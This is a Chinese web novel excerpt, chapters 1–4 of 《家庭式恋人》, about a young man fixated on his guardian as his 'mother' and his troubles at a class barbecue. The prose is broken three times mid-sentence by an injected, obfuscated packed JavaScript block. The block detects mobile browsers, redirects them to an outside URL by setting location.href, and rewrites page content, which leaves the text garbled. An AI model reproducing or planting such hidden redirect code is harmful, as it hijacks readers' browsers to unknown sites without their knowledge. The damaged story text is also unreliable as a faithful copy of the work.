《家庭式恋人》 1. 第 1 章 恒美集团旗下私立医院,心理科诊室。 张嘉祈一出电梯就直奔坐在落地窗前的身影。 坐在落地窗前的青年只露出白净的半张脸,一双杏核眼盖在低垂的长睫下,鼻梁挺翘,虽然剩余的小半张脸都埋进了衣领,但张嘉祈在脑海里自动补全了两瓣有些肉感的唇和那一小抿下巴。 “沈潮安,你要多少钱才肯离开行哥。”张嘉祈两只手指从口袋里夹出一个支票簿。 “你谁啊。”沈潮安抬起头,干净漂亮的一整张脸露了出来,带着恰到好处的困惑。 “哼,我是谁,我是……你不需要知道我是谁。你只要知道你只是个被包养的金丝雀,最好的下场就是拿钱走人。”张嘉祈冷哼一声。 “我不是金丝雀,闵行是我的家人,我们对彼此承诺过的。”沈潮安咬紧了嘴唇,几乎是咬牙切齿地把话说出来。 听得出来愤怒,但却完全没有攻击力。 “你也配。”张嘉祈嗤笑一声。 语气里的轻蔑铺天盖地地朝着沈潮安压下来,压得他神智癫狂。 又是这些话,又是这样鄙夷的眼神,太恶心了!他们什么都不知道,他们都想将他从闵行身边赶走,可是闵行是他的……妈妈啊。 妈妈怎么会抛弃自己的孩子呢,妈妈不会抛弃自己的孩子……闵行是不会丢掉他的! 他永远是妈妈唯一的孩子!永远是!不会有别人!不会!永远不会! 张嘉祈得意地甩着支票簿,打算再接再厉再放一波狠话彻底摧毁金丝雀的自尊,不曾想金丝雀竟然敢抬眼瞪他。 沈潮安狠狠瞪着张嘉祈,两边的颊肉绷得紧紧的,脸色苍白得像个鬼影。 他的眼睛大,瞳仁颜色黑得幽深,眼睛里又倒映不出人影,无端让人联想到摄人心神的怪物。 被这么一双眼睛瞪着,张嘉祈后背一寒心一哆嗦,就好像有只鬼手大力攥他心口让他浑身发紧。 两人都不说话,就这么对峙在了这里,眼神瞪不死人,他们就继续这么干瞪着。 突如其来的一声咔嚓打破了僵局,原本紧闭的诊室门打开。 沈潮安和张嘉祈齐齐转头。 门里面的人还没走出来,张嘉祈反应更快,迅速理了理头发扬起微笑昂首走过去。 眉目凛冽的男人一手扣着门,和负责沈潮安的秦医生讲话,冷硬得深邃的侧脸恰好背着一点光,投下的阴影如同一层霾,将所有的情绪都锁在一片漠然之下。 秦医生笑得亲切又不显谄媚,将这位大股东依依不舍地送到门边。 沈潮安憋着的一口气吐了出来,揉揉自己的脸颊让肌肉放松,他不希望闵行会看出来他不高兴。 闵行和秦医生说完话,就朝着这边走来。 张嘉祈放慢脚步,和闵行碰上面时撩了一下头发准备刷印象分,闵行眼睛都不抬就和他擦肩而过。 抬起到一半的手就那么僵硬在半空里,被完全当作空气了。 沈潮安将发生的一切看得清清楚楚,唇瓣一弯,抿出一个甜甜的笑来。 “妈……哥哥,我们现在就回家吗?” “嗯,我们现在就回家。脸怎么这么红。”闵行脸上的灰霾迅速消散,观察细致口吻耐心。 张嘉祈被忽略了个彻底,沈潮安和闵行的亲昵就像一记响亮的耳光,狠狠打翻了他之前的所有叫嚣。 现在无论是跑走还是冲上去都太丢人,他站在原地,恨恨地盯住沈潮安。 “我有点热,这里的空调不够冷。”沈潮安笑得弯弯的眼睛满是闵行。 “你的手是冰的,怎么会热呢。”闵行也跟着笑起来,掌心覆上来,将他的两只手都拢住,暖融融的。 “只有脸很热,我揉了一下,不小心太用力了。”沈潮安小小声嘟噜,听起来像是在撒娇。 闵行的笑意更深了,手放进有些鼓的外套口袋里摸了摸,从里面掏出一把棒棒糖……等等,一把? 对,他没看错,不是一根,是一把,粗略一扫大概有五六根。 沈潮安的眼睛立刻就瞪大了。 闵行剥开糖纸,将糖塞进他的嘴里:“从秦医生的桌上拿的,荔枝味,你最喜欢的味道。” 秦医生的诊室里有一个三层的点心托盘,最下面一层放的是五彩缤纷的棒棒糖,他小时候来秦医生的诊室时不敢拿,后来胆子大了点就每次都拿一根荔枝味的,现在长大了,自觉是个大人了,拿糖怪不好意思的,于是就再也不拿了。 没想到被闵行发觉了,每次看诊结束后只要有荔枝味都会给他拿一根,这次更是夸张,看数量应该是对秦医生的托盘进行了一次酣畅淋漓的抢劫。 沈潮安舌头碰着糖,甜丝丝的荔枝味扩散,他的思维也跟着扩散。 在外人面前向来不苟言笑的闵行西装革履,边和秦医生严肃探讨边伸手去拿棒棒糖,一根又一根的彩色棒棒糖将黑西装的口袋撑得鼓鼓的…… “秦医生不会用奇怪的眼神看你吗,糖是给小孩子的,你还一次拿那么多。”沈潮安将棒棒糖推到一边的腮帮子里。 “我是这家私人医院的股东之一,秦医生对我很宽容。”闵行笑着隔空点了点他的鼻尖。 沈潮安往后躲,没憋住笑了出声。 “下次不要那么多糖了,只要一根就好,再见到秦医生我会感到难为情的。”他半是埋怨半是撒娇,糖果在牙齿上囫囵刮过重新含回舌头上,说话变得含含糊糊的。 “走了,回家了。”闵行不想再继续这个话题,于是拉开椅子将沈潮安提了起来。 “嗯嗯!”沈潮安嘴里含着糖,扑腾得像只第一次下水的旱鸭子,被闵行夹带着往电梯的方向走。 他们再次和张嘉祈擦肩而过,这么大个活人杵在路中间,唯一发挥的作用是让笔直的行走路线突然拐了个弯。 沈潮安乖巧地缩在闵行的臂弯下,搭乘电梯离开了这里。 张嘉祈丢脸丢了回大的,等沈潮安和闵行走后终于发作,一脚将走廊的盆栽咚的一下踢倒,冲上前骂骂咧咧补了两脚,闹出了不小的动静。 护士站里的护士冲出来想要阻止肇事者,一看是集团老总的小孙子小张少爷,利落拐脚又缩了回去。 爱砸多砸点吧,回头让后勤部再拉一批盆栽回来,小少爷她们可开罪不起。 * 每次到秦医生这里就诊都是一件不容易的事,治疗结束后闵行都要花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464263|185450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费几天的时间对沈潮安进行安抚。 沈潮安有很严重的认知障碍,这种认知障碍只针对闵行一个,他很坚定地认为闵行是他的妈妈。 他们并无血缘关系,甚至没有正式的收养手续,秦医生在刚开始曾经好奇过这样的认知障碍是如何诞生的,但足够的封口费很快将这样的好奇心湮灭得一干二净。 经年累月的治疗下来,秦医生只做到了让沈潮安能够愿意在外人面前改口叫闵行哥哥而已。 从秦医生那离开后,闵行带他去高空餐厅吃了一顿法餐,全景落地窗外还有烟花表演,烟花簇在夜空中如碎银般坠落,将他的眼睛照得很亮很亮。 “小安,烟花好看吗?”闵行笑着问。 “好看。哥哥,今晚我想和你睡,可以吗。”沈潮安将脸转回来,说话的声音很轻,杏眼微微弯起,他知道自己怎么样笑才显得乖,才能让闵行不会拒绝他的要求。 “可以。”闵行果然没有拒绝。 沈潮安又把头转回去看烟花,脸上的表情很高兴,是在为闵行答应了他的要求而高兴。 闵行看得出来他的高兴,但却会错了意,心想以后可以多带他来吃法餐和看烟花。 回到半山别墅的时候时间还不算晚,闵行有些邮件要处理,沈潮安就先去洗澡。 他往自己的身上打了很多的沐浴露,只洗了两遍,时间按没有持续太久,不然手脚就会被泡得发白起皱。 从浴室里出来之前先闻了闻自己,确保自己是香香的才上了闵行的床。 闵行的床其实没那么舒服。 沈潮安喜欢更软一点的床垫,像云朵那样能让整个人陷进去的那种软,闵行的床对他来说有点硬,就如同闵行本人,摸起来硬邦邦的。 但奇怪的是他反而会睡得更好。 闵行还在书房,沈潮安开始刷手机消磨时间。 几条未读信息跳了出来,是好友兼同班同学夏阳发给他的:这周六你要不要来班里的团建,听班委说是租了个带泳池的别墅烧烤,还可以游泳。 现在已经是大四下学期了,正是各奔东西的时候,能聚在一起的机会不多,所以才策划了这一次活动。 沈潮安想了想,回了一个去。 换了个姿势继续刷了会手机,处理工作的闵行终于回来了。 “等很久了吧。”闵行随手扯松了领带说。 “也没有。周六我要去班级团建,去烧烤和游泳。”沈潮安没话找话说。 “让兰姨给你准备一些食材带过去,不要吃外面的东西。外面的泳池不干净,想游可以在家游。”闵行叮嘱道。 “不要,会显得我好奇怪。”沈潮安说。 “那你们的班级活动需要赞助吗?”闵行解完了领带解袖口。 “不需要。妈妈好操心,我会少吃东西多喝水的。快去洗澡!我困了!”沈潮安跪起来扬起枕头,虚张声势地要赶闵行走。 闵行很配合地离开了他的视线。 沈潮安贴着墙听了一会儿动静,听到淅淅沥沥的水声以后缩回来,伸手拿起了闵行留在床头柜上的手机。 闵行的手机直接录入了他的指纹,食指覆上去以后轻松解锁。 2. 第 2 章 沈潮安目标很明确,就是从闵行的好友列表里面找到今天威胁他的那个人,删除拉黑一条龙。 他不打算对闵行告状,如果闵行对今天那个无礼的家伙有印象,至少会分过去半个眼神。 但是闵行没有。 那就说明那是一个无关紧要的家伙,不值得因为他的告状反而得到闵行的关注。 闵行的好友列表很好翻,那些眼熟的共友头像一一略过,很快就找到了张嘉祈。 张嘉祈的头像用的是自己的脸,照片拍得很好,一点都没有嚣张跋扈的样子,就是个唇红齿白的矜贵小少爷。 闵行给这个人的备注是恒美集团张嘉祈,看起来有点像工作号的备注。 在单删拉黑之前,沈潮安很不道德地点开闵行和张嘉祈的聊天界面,看看他们都聊了些什么。 张嘉祈有做自我介绍,然后邀请闵行去参加他们张家举办的慈善晚会,闵行的回复看了让人性冷淡,他让张嘉祈联系他的私人秘书,口吻很公事公办。 短短几条聊天消息不用下滑就能看完,张嘉祈每隔几天都会发一些私人邀请,闵行一条也没回复,沈潮安边单删拉黑边想是不是有的人就是喜欢对自己爱答不理的。 不然怎么会受得了完完全全的冷落呢? 干完了坏事,沈潮安小心翼翼地将手机放回原位,就连床单和被子都小心平整了一下,就好像他从来没有一屁股坐过去悄悄打开闵行地手机删除了一个联系人。 继续窝回去刷手机。 闵行洗完澡出来的时候,顶灯已经关了,只留下壁灯,房间里的光亮黯淡,唯一的光源就在沈潮安身侧。 沈潮安整个人都裹成了蚕宝宝,只露出一张脸和手上的手机,壁灯不够亮,只够照亮他那一张小脸,脸上的表情看起来很认真,像是在参悟什么学术资料。 闵行走过去一看,屏幕里在给马修蹄子安新马铁蹄。 “你想要养一匹小马吗,林乐丰最近注资了一个马术俱乐部,可以叫他带你去挑一挑。”他在沈潮安身旁坐下。 “不想,只是看修蹄子会很解压,还有修牛蹄子的。”沈潮安从收藏夹里掏出了一个修牛蹄的视频。 闵行不理解但尊重,他们一起观看完了这个长达3分24秒的视频。 时间还早,还不到十一点,闵行的作息健康得可怕,在沈潮安兴致勃勃还要再看两个钉马蹄的时候没收了他的手机,该睡觉了。 沈潮安挣扎无果,就只好缩进被窝里闭上眼睛,但神经还在持续的兴奋中,他根本睡不着。 “我睡不着,现在太早了。”他在被窝里蛄蛹了好几下。 “闭上眼睛,不说话就能睡着了。”闵行说。 “我们不能聊聊天吗?”沈潮安说。 “你想聊什么。”闵行说。 “马术俱乐部的马有人给它们修蹄子钉马蹄铁,那野外的马的蹄子会由谁帮它们修呢?”沈潮安想了想说。 “野外的马为了觅食和寻找水源每天都会走很长的路途,马蹄的角质层会自己磨损,不需要人来修蹄钉马掌。”闵行的回答很正经。 但沈潮安要的可不是一个正经的答案,他是要准备给闵行说笑话的。 “不对,野外的马是由野人帮忙修蹄子的哈哈哈!”讲笑话要不笑才会让人觉得好笑,他没憋住,说完就笑了出来。 “哈哈。睡吧。”闵行很配合地也跟着笑了两声,拉过被子将他盖住。 沈潮安闭上嘴巴,乖乖闭上眼睛装睡。 房间里的壁灯被关掉了,眼睛闭上,在黑暗里其余的感官就变得格外敏锐,他听到自己的心跳声在胸腔里回荡。 咚咚,咚,咚咚。 静谧的房间里,除了他自己的心跳声,还有另一个呼吸声,沈潮安一直在静静聆听。 在微不可闻的呼吸声趋于平缓时,沈潮安开始屏住呼吸。 闵行应该睡着了。 沈潮安开始小幅度挪动自己的身体,先从手指开始,再到手腕,整条手臂都挪动以后,就开始动用脚踝和小腿。 这张床有2米宽,睡下两个成年人绰绰有余,他和闵行的中间还可以再塞下一个人。 沈潮安像只缓慢且安静的蜗牛那样将自己挪动到了闵行的身边,他的动作尽量轻柔,尽管闵行一向睡得很沉,但他尽量做到最小心。 他的手指碰到了闵行睡衣的衣角,他的血液在叫嚣着一种隐秘的欢愉。 慢一点,再慢一点,他的手臂带动着整个身体,让他蜷缩进闵行怀里的空隙。 婴儿在羊水里蜷缩起身体就是这样的姿态,这样的嵌合让心灵发出一声慰叹,所有的不安都被一扫而空,柔软的温情如同脐带,将他和闵行牢牢维系在一起。 妈妈,我爱你,我,爱你。妈妈,妈妈,我爱你。我,你。 …… 从秦医生那里回来以后有许多甜枣可吃,但是陪睡只允许一晚。 闵行从沈潮安十二岁时就强硬要求他独立,那是一段不堪回首的混乱期……不过在狠下心来以后确实卓有成效。 但也直接导致了沈潮安逮着机会就要睡闵行的床。 很不幸,在接下来几天的时间里,沈潮安再也没逮到机会。 并且让他有些气恼的是,不速之客上门来了,还挑在闵行不在家的时候。 “小安啊,愣着干什么,还不快欢迎你林叔叔!哎呀闵行不在,赶紧叫声干爹来听听!”花衬衫往后抓了个大背头的男人翘着二郎腿,叼着根没点的烟笑得流里流气。 “不欢迎,不叫,这里禁烟。出门左转不送。”沈潮安冷漠地说。 “哎哎沈小安至于那么冷漠吗,不就是上次派对没带你嘛,当时你也同意了的,至于让我走去你家垃圾桶自己跳进去吗。”林乐丰将根本没点的烟摁进烟灰缸里。 不提这个还好,一提沈潮安就更生气了。 就是林乐丰这只花花蝴蝶上次办的派对让张嘉祈有了接近闵行的机会,短短几天就找上门来给他好一顿羞辱,沈潮安对林乐丰理所当然地没有好脸色。 眼看着沈潮安的脸色越来越不好,林乐丰赶紧举手投降:“好好好,是我错了,等我走之前我一定跳垃圾桶谢罪。不过在这之前我很诚挚地再次邀请你们,赏脸瑞丰集团的酒会。” 沈潮安说:“商务晚宴吗,什么时候,谁会去?” 林乐丰掏出手机:“下周五,不算商务吧,没请那些老家伙,你等等我给你发个名单……” 沈潮安才不看:“闵行去我就去。你这个时间点不应该在马场吗,怎么亲自跑到这来送邀请。” 林乐丰长叹一口气:“还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464264|185450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是为了逃避相亲……不说了,有什么吃的吗,我连早饭都没吃就跑过来了,如果能收留我十天半个月的就更好了。” 沈潮安说:“一天也不准住。兰姨!给他随便弄点吃的,别让他饿死了!” 林乐丰哀嚎:“沈小安!你怎么能这么绝情!” 兰姨端着橙汁出来:“哎好,喝橙汁小少爷,闵先生交代要看着你喝完。林先生吃牛排吗,还有三文鱼和甜虾,西餐做起来最快。” 林乐丰:“两份七分熟牛排配罗勒青酱,三文鱼就做香煎的,多多的下手磨胡椒盐……有生蚝吗,再来个碳烤蒜香生蚝。” 沈潮安喝了一口橙汁,觉得有点酸:“我支持蒜香生蚝,但冰箱里有生蚝吗?” 兰姨说:“没有。小少爷,不可以偷偷用橙汁浇花。” 沈潮安转回身来一脸无辜,手里的橙汁少了大半。 林乐丰哈哈大笑,刚想说话就被他瞪了一眼,立刻识趣地闭嘴转头看向别的地方。 沈潮安最终还是喝完了橙汁才出门,今天是周六,别墅烧烤聚会大概会从中午持续到夜晚。 虽然人还没到齐,但班级群里面地气氛已经热闹起来了,几个班委在群里发别墅里的布置和烧烤用的食材,其中竟然还有夏阳的事。 【谢谢阳哥的大力赞助!】 【阳哥大气啊!】 【阳哥去哪里发达了?】 类似的话连着刷了好几条,沈潮安往上翻,原来是夏阳赞助了一批贵价食材,让烧烤的档次拉高了不少。 那个买东西只买临期、实习偷水偷电的夏阳竟然还会有这么大方的时候,难道是中彩票了? 沈潮安随大流发了句感谢阳哥的大力赞助,挑衅的声音立刻就贴脸上来。 罗浩:【阳哥都赞助了怎么没见我们沈少爷赞助啊,沈少爷不是一向都很大气的吗?】 郑成辉跟着附和道:【就是啊,沈少爷怎么也不赞助点酒水饮料,让我们见识见识】 刚刚还热闹着的群一下子就冷了,所有人都从聊天模式转变成了窥屏,都在等着沈潮安的应答。 沈潮安觉得他们很无聊。 罗浩和郑成辉不知道怎么回事,对他有一种隐隐的敌意,大一的时候还不明显,现在大四了要各奔东西了,就开始悄悄藏不住。 沈潮安很敷衍地说:【下次一定】 一定没有下次。 罗浩不依不饶:【择日不如撞日嘛,沈少爷现在不表现,以后都不知道哪天才会有机会了】 沈潮安皱起眉,他从来都没觉得罗浩有今天这么讨厌过,他是有对他做过什么吗? 班委冯倩出来打圆场:【我们这次买了很多饮料,已经够喝了,沈同学现在赞助可就太浪费了】 罗浩没有再说话,潜水的同学一个又一个冒头,将刚刚发生的尴尬对话全都刷了上去。 沈潮安突然后悔为什么要答应来这次同学聚会了,很明显他被针对了。 车开进别墅群,拐了两个弯以后在一栋门口系了几个彩色气球的别墅停下。 一男一女站在门口,女生白净的脸上被晒得有点微微发红,抿唇笑着和他打招呼:“你来啦潮安同学,快进来吧。” 男生抱着手,发出一声意义不明的哼笑。 他被讨厌了呢。 3. 第 3 章 女生是冯倩,男生是和他不对付的罗浩。 沈潮安只朝着冯倩点了点头:“嗯,我来得不算迟吧,有什么需要帮忙的吗?” 对付对你不爽的人最好的办法就是将他当空气,罗浩一圈打在了棉花上,鼻子里发出的哼声赛过公鸡打鸣。 冯倩说:“夏阳在里面给肉穿签子,他说等你来了要叫你一起。” 话音刚落就听见夏阳的声音在里面大喊大叫:“好兄弟快来啊!我特地给你留了两个菠萝一盆牛肉一堆小龙虾……” 沈潮安撸起袖子走过去,一拳砸在夏阳的肩膀上砸得他吱哇乱叫:“这么能干怎么不干完了再叫我。买这么多东西是中彩票了吗,一点都不像你。” 夏阳抖着肩膀卸力将自己抖得像帕金森:“是啊是啊,中彩票了,这不是你正好也要来,我夹带私货买了不少你喜欢吃的。” 沈潮安说:“小羊排和牛肋条还不错,算你没在我家白蹭饭。” 夏阳说:“沈少爷请,开盖有惊喜。” 菠萝和水果刀同时被递了过来。 沈潮安说:“菠萝有什么特别的,切开里面会跳出一只精灵然后能实现我的三个愿望吗?” 随着话音一起落下的是刀刃落到案板上的笃一声,一阵甜香的菠萝气味随之弥散开,要说有什么特别的,就是切开的菠萝肉是漂亮的淡粉红。 沈潮安吃过这种菠萝,感觉味道没什么特别的,顶多就是稍甜一点的普通菠萝味道,不过颜色好看,放在菜肴里还算养眼。 夏阳说:“怎么样,算不算有点小惊喜?” 沈潮安说:“啊,好大的惊喜。那么问题来了,有那种专门用来剔菠萝的刀吗,只有水果刀我感觉削起来有点麻烦。” 夏阳说:“没有。” 沈潮安霎时间有一种想把菠萝丢在夏阳身上的冲动,五百块的菠萝都买了五块钱的刀怎么也不顺便捎一个! 到得早的人就被抓走帮忙干活,沈潮安没和菠萝斗争太久,大概是他切得有些惨不忍睹,一位热心同学出手将他和菠萝一起拯救出水火之中。 沈潮安道了一声谢,非常愉快地端起饮料到处乱转听人聊天。 这次聚会几乎所有有空的人都来了,别墅泳池边还有客厅吧台旁边都没剩下座位,来得晚的不是坐地板就是坐上了楼梯台阶。 毕业在即,在场的人就不可避免地谈论起了前途这个至关紧要的问题,有的人前途未卜,有的人已经拿下了心仪的office,有的人打算继续深造。 沈潮安这个也听听那个也听听,他和同班同学的关系不好也不坏,自然有人顺口就问他:“潮安呢,你找到工作了吗,还是打算继续读书啊?” 另一个人嘻嘻哈哈笑道:“沈少爷会回家继承家业的吧,哪里需要亲自找工作呀!” 沈潮安想了想,说:“正在申请英国的学校,不过还没有真正下定决心。” 问的人倒也不觉得奇怪:“是因为英国菜太难吃了对吧哈哈哈哈哈!仰望星空派和鳗鱼果冻了解一下!” 沈潮安也跟着笑了起来。 但不是这个原因。 留学这件事是闵行一直想要送他去的,闵行当年念了美本,他那时正好是读初中的年纪,跟着一起过去念到了高一,闵行原本想让他留在美国继续念书,但是他不愿意。 拖延着拖延着,就拖到了大学毕业。这次闵行的态度很强硬,没有回转的余地,他撒娇过也闹过,闵行统统拒绝了。 沈潮安很不明白,到底为什么一定要将他送出去,他一点也不想离开闵行的身边,哪怕是半天也不行。 比方说现在,才刚离开家没多久,他就开始想闵行了。 闵行现在应该在安夫人那里,每个周六他都要回另一个家去和母亲还有妹妹待上一天,第二天才会回家。 沈潮安心不在焉地听着旁边的人说话,心里都在想闵行现在在干什么。 * 闵行在陪母亲和妹妹逛街,充当一个人形提款机的作用。 “我大侄子最近怎么样?上两个星期我叫他和我一起去南半球避暑他都没来,你回去的时候帮我把给他带的礼物也一起捎回去啊!”安雅新做的长指甲随意滑过一排试戴珠宝。 “他挺好的。帮我挑个手镯吧,小安他戴哪款好看。”闵行说。 “这个满钻的和这个吧,这个项链和戒指也不错,衬我大侄儿……我感觉除了那个难看得要死的粗链子,其他无论哪个都和我大侄子很搭啊。”安雅扫了好几眼说。 “这几个是很好看。那孩子小时候就长得很漂亮,像个小女孩,他现在还是这么漂亮吗?”安夫人问。 “嗯,还是很漂亮,不过没有那么像个小女孩了。每次被说像个女孩子他都要不高兴。”闵行一说起这个就想笑。 他很记得沈潮安小时候的样子,眼睛很黑很大,眼睫毛长长的,看起来是一副很乖的样子,柔软的额发有些稍长,拨开别在耳后,仅有的一点肉都长在了脸颊上,像个玉雪可爱的女孩。 上一年级的时候同班的小男生都叫他雪儿公主,每次去上学都要生很久的闷气。 那时候闵行还不太会哄孩子,又是拜读了儿童心理学又是拜托老师,还找上了那些小男生的家长……回想起来可真够折腾的。 “怎么不叫他来一起逛街。”安夫人的随口一问将他从回忆里拉了出来。 “他比较害羞。”闵行说。 其实真实原因是沈潮安觉得尴尬。 闵行家庭关系不算复杂,就是普通的家族联姻,生下他以后就毫无顾忌地双双出轨,说出轨也不太对,反正就是各玩各的,各自有私生子女。 尴尬就尴尬在沈潮安是闵行父亲情妇的儿子,和闵家没有血缘,身份尴尬。 虽然安夫人完全不在意这种事情,但沈潮安会控制不住地产生一种如芒在背的尴尬感。 “哎呀妈咪,我大侄子脸皮薄嘛!不像我,过年还得问闵叔叔要个红包呢!闵叔叔还给挺多。”安雅满不在乎地说。 “你也不怕气着你爸。”安夫人笑着拍拍她的手。 安雅吐了吐舌头,没有接话。 她们不在意这些关系,闵行也不在意,笑了一下就刷卡买下她们刚刚点过的所有东西。 也包括安雅刚刚说的那些适合沈潮安的配饰,除了难看的那件,他全都买下了。 * 沈潮安站在烤架旁边等菠萝牛肉串,罗浩和郑成辉朝着他的方向走过来。 “潮安快!趁热吃!要不要鸡翅,鸡翅也快好了。”夏阳手疾眼快地抢了一串牛肉串放进他的餐盘里。 “不要鸡翅,我想要那个小羊排,好像有点烤过头了,你先尝尝。”沈潮安夹了一块小羊排给夏阳。 “拿我试毒来了这是!”夏阳嘴上抱怨,但餐盘却很诚实地递过去。 “沈少爷可真是挑剔啊,连吃个烤串都要等别人先吃了,食材就这么点,再不吃可就没了。”罗浩一开口就是阴阳怪气。 “罗浩,我想请问一下,我有哪里得罪过你吗,我记得我连话都没有和你多说几句。”沈潮安想问这个问题很久了。 “是啊,沈少爷连话都不会和我们多说几句。”郑成辉阴阳怪气道。 “所以我到底做过什么呢?”沈潮安有点不太耐烦了。 “罗浩郑成辉你们两个干嘛呢。今天大家难得聚在一起,你们为什么要说这么有针对性的话来针对潮安,来破坏这次聚会的气氛。”夏阳说。 烤架边上还有另外两个同学,看到这样的气氛都默默退开,将这个地方留给他们。 “没有啊,就是看不惯你这样使唤人的大少爷而已啊,你这么使唤夏阳,你觉得好意思吗?”罗浩说。 “我和你没什么好解释的,你在故意找茬对吧。”沈潮安觉得没意思极了,放下餐盘就想走开。 “停停停,我以前怎么没发现你这么热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464265|185450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心这么爱为同学打抱不平。首先本人没有被使唤,我们是正当的好友关系,其次,你是不是在拿我当借口,不要把人当傻子啊。”夏阳说。 “我真是看错你了!”罗浩气急,抛下这么一句话就走了。 郑成辉赶紧追上去。 “他们可真够莫名其妙的。不过也好,现在没人和我抢烤串了,要鸡翅吗,还有烤五花肉,这个蒜苔也不错,就是稍微焦了点。哎别心情不好啊,他们说的话别放在心上,我都没觉得有啥呢。”夏阳没心没肺地扫荡烤架。 “没事,我只是开始有点好奇他们到底为什么针对我了。你吃吧,我不饿。”沈潮安拿出手机,对着烤架拍了几张发给闵行。 “你这么想就好。那小羊排你别吃了,还真烤老了。”夏阳腮帮子用力地嚼。 “嗯。”沈潮安心不在焉地应了一声,低头反复点进闵行的对话框里,闵行还没有回复。 和烧烤很配的除了啤酒以外,就是清凉清凉的大泳池,愿意游泳的人换了泳衣,捏着鼻子挨个下饺子似的跳进去。 沈潮安看了一会手机,还是没收到闵行的回复,郁郁地吃掉放得有点温的菠萝牛肉串,端着饮料坐到一张没人的沙滩椅上无聊地看别人游泳。 “潮安同学不去游泳吗?”一个声音在旁边响起。 “不去,我身体不太好,一冷一热容易生病。”沈潮安抬头一看,是冯倩。 他对冯倩印象还不错,说话自然也耐心很多。 “这样吗,好可惜啊。以后申请哪所学校呀,刚刚我站在旁边听到了,不是故意偷听的。”冯倩笑着说。 “还没定下来,有几个还算心怡的选项吧。”沈潮安说。 其实一个也没有,他的资料除了那些必须要他自己做的以外,其余都由闵行的私人秘书团帮他搞定,他自己都不太知道申请的是哪些学校。 “这样啊。”冯倩说话声音变得轻轻的,“去留学是不是很久都不会回来了,你有去英国定居的打算吗?” “假期还是会回家的,我没有在英国定居的打算。”沈潮安觉得这句话问得有点奇怪,但还是回答了。 “沈潮安,我、我有句话在很早之前就想和你说了。”冯倩的神情突然变得紧张起来。 他们对面的泳池里分出了两拨人,举着水枪正在玩一场打水仗,尖叫和欢呼声差点闹翻了天,沈潮安没听清冯倩说了什么。 “什么?”他凑近一点问。 “我、我、我……”冯倩就像是结巴了一样,一连说了好几个我字,沈潮安赶紧将她的杯子递给她,让她把气捋顺了再说。 “我喜欢你嗝!”冯倩咕嘟咕嘟将一整杯柠檬雪碧都喝完了,话说出口还带了气泡上涌打出来的嗝。 这一下用尽了她的所有勇气,说完以后她立刻低下头,不敢看沈潮安的脸色。 沈潮安第一反应是环顾四周,看看有没有其他人听见了冯倩说的话,他不希望他的拒绝在他人的目光下让冯倩倍感难堪。 幸好他们这边没什么人,泳池里也足够吵,除了他没人听见冯倩说了什么。 “谢谢你的心意,在我的印象里你是个很好的女孩子,但实在对不起,我对你没有那种喜欢。”沈潮安压低声音,礼貌地拒绝了冯倩。 “没关系,我知道我大概是会被拒绝的。只是、只是说出来舒服多了,希望我的任性没有给你造成困扰。”冯倩吸吸鼻子,眨了眨眼睛努力缓解情绪,但还是不可避免地红了眼眶。 “对不起。”沈潮安给她抽了张纸巾。 “你在干什么!”不知道从那个角落冒出来的罗浩一声怒吼径直朝着他们冲过来。 沈潮安被吓了一跳,下意识就站起来避开。 他的动作太过突然,泳池边追逐的同学没来得及刹住脚猛地一撞,身体被撞得失去平衡连滑几步向泳池的方向倒。 “潮安!” “沈同学!” 噗通—— 4. 第 4 章 今天可真够倒霉的,今天就不应该出门的对吧? 沈潮安在掉进泳池之前的那短短一秒钟里脑海中控制不住地出现这句话。 紧接着过于凉爽的泳池水淹没了他的思绪,他只来得及闭眼屏息。 在闭上眼睛之前他最后看到的是朝他伸手但没抓到的冯倩,由愤怒变成惊慌的罗浩,还有朝他奔过来的夏阳…… 哗啦——哗—— 冷得有些过分的水从四面八方挤压而来,黑暗和包裹感让他产生了心慌的感觉,手和腿控制不住地四处乱摆,很想很想从嘴里发出尖叫,一张嘴,就狠狠呛进去几口水。 挣扎间手臂突然被猛地一提。 在沉底之前,沈潮安被好几只手用力托举了起来。 “好了好了!人捞到了!” “潮安你没事吧?没呛到水吧?” “要不要叫救护车?” 泳池里的人七手八脚地将他捞起来了带到岸边,让他可以趴在池壁上休息,几个在岸上的人伸出手,想要把他拉上去。 “我没事。”沈潮安咳了几声,一睁眼水珠就啪嗒顺着他的眼睫毛往下掉。 他的脸色太白,湿漉漉的发丝一缕缕垂落下来,一条条水痕在脸上蜿蜒,瞳仁原本是安静的黑,衬得白得过分的脸色,像极了爬伏在岸边的水鬼。 这样的脸色,谁也不敢保证他没事。 “真的不用打120吗?”不知道是谁小心翼翼地问了一句。 “不用。”沈潮安摇摇头,他只是被突如其来的一下吓得没力气,现在休息了会终于缓过来了。 